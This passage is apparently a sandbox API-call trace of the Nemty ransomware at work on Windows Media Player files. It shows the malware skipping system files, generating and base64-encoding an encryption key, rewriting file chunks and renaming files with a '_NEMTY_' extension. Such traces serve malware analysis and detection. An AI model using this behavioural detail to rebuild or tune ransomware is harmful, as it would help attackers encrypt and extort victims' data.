Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.630] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.737] CloseHandle (hObject=0xffffffff) returned 0 [0104.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0104.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg._nemty_kgobjgd_")) returned 0 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0104.738] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2=".") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="..") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="...") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="windows") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="$RECYCLE.BIN") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="rsa") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="NTDETECT.COM") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="ntldr") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="MSDOS.SYS") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="IO.SYS") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="boot.ini") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="boot.ini") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="AUTOEXEC.BAT") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="ntuser.dat") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="desktop.ini") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="CONFIG.SYS") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="RECYCLER") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="BOOTSECT.BAK") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="bootmgr") returned 1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="programdata") returned -1 [0104.738] lstrcmpiW (lpString1="DMR_48.png", lpString2="appdata") returned 1 [0104.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.png", lpUsedDefaultChar=0x0) returned 10 [0104.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.png", lpUsedDefaultChar=0x0) returned 10 [0104.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.png", lpUsedDefaultChar=0x0) returned 10 [0104.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.png", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.png", lpUsedDefaultChar=0x0) returned 10 [0104.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0104.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0104.739] Sleep (dwMilliseconds=0x5) [0104.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf21575d0, dwHighDateTime=0x1d561e7)) [0104.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf21575d0, dwHighDateTime=0x1d561e7)) [0104.752] GetLastError () returned 0x5 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.752] GetLastError () returned 0x5 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.752] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.752] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.752] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0104.752] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Z6aiA9rWKZeP0NxE0tRor4SljQNz2H3CeGlvSWxcVmvsllsmGUU3JiXzfjBB0juo\r\nXdK1SExA6dg12w1RFZkzHg8Y4V8dYGXQSETyR2718utMIPLoZ1shx08YVtvcBpMq\r\n6obHbNg/GyhMFVsLNd3lqLhs9QzrtEFt0g2EfmoSEOsOKxSlo2WEZaCnSTqSUQ0O\r\npbrLvLb4sXL8f2UEbNe2ZMYf0gHEa9IV0wFR5CSGkXiqPjndRt40+LV5E5NzQKVg\r\nzthxfimk0QuVVx5J1SlYF9T1qH1T4bdY3x/tiKKGt6eF7rTK4b+m+5tJlgX3juXl\r\nHvpmuX6gyfIAja2Tbn4wRQ==\r\n", pcchString=0x653ef9c) returned 1 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0104.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.752] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.754] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 